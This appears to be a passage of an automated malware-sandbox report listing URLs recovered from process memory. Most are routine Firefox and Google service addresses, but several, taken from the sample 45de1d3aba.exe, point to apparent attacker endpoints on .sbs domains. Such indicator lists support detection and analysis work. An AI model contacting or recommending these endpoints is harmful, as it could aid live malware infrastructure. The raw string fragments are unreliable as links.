Source: 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/api5
Source: 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs:443/api
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000002C.00000002.3338943234.000001C4D2550000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lookerstudio.google.com/embed/reporting/
Source: firefox.exe, 0000001B.00000003.2682108544.0000013826D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2915243924.000001C4D0E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000003.2682108544.0000013826D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3320361102.000001C4D1103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000003.2682108544.0000013826D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3320361102.000001C4D1103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest_createPermissionClearButton/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000002C.00000002.3322964666.000001C4D13B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000002C.00000002.3321885151.000001C4D1278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000002C.00000002.3297751489.000001C4CE655000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3299101883.000001C4CE705000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000003.2682108544.0000013826D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2915243924.000001C4D0E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001B.00000003.2682108544.0000013826D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3320361102.000001C4D1103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002C.00000002.3320361102.000001C4D1103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: 45de1d3aba.exe, 0000000A.00000003.2932751935.00000000014FC000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000003.2932751935.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs/
Source: 45de1d3aba.exe, 0000000A.00000003.2932751935.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs/api
Source: 45de1d3aba.exe, 00000007.00000003.2777731006.0000000001158000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs/api$
Source: 45de1d3aba.exe, 00000007.00000003.2776189546.0000000001112000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs/api.sb-
Source: 45de1d3aba.exe, 0000000A.00000003.2934045939.000000000150F000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000003.2932751935.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs/api~W
Source: 45de1d3aba.exe, 00000007.00000003.2777731006.0000000001158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs/b
Source: 45de1d3aba.exe, 00000007.00000003.2777731006.0000000001158000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs/k
Source: 45de1d3aba.exe, 0000000A.00000003.2934045939.000000000150F000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000003.2932751935.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs/vm
Source: 45de1d3aba.exe, 0000000A.00000003.2933302593.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs:443/api
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000002C.00000002.3272705234.000001C4CE180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D199B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/adsafeprotected-ima.js
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/adsafeprotected-ima.jsshims/google-publisher-tags.jspictureinp
Source: firefox.exe, 0000002C.00000002.3316860917.000001C4D0E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000002C.00000002.3312620081.000001C4CF297000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D199B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3294994349.000001C4CE441000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531BC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001B.00000003.2772425157.000001382AFA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D262A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: baacd96df2.exe, 00000009.00000003.2907415641.0000000023CC9000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000002C.00000003.2929268933.000001C4D69A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: baacd96df2.exe, 00000009.00000003.2907415641.0000000023CC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009A5000.00000040.00000001.01000000.0000000A.sdmp, baacd96df2.exe, 00000009.00000003.2741890700.000000001D80D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009A5000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009A5000.00000040.00000001.01000000.0000000A.sdmp, baacd96df2.exe, 00000009.00000003.2741890700.000000001D80D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009A5000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: firefox.exe, 0000002C.00000003.2823892381.000001C4D1972000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D196E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://svgwg.org/svg2-draft/struct.html#SymbolNotes:
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000002C.00000003.2929268933.000001C4D6977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3294994349.000001C4CE43C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
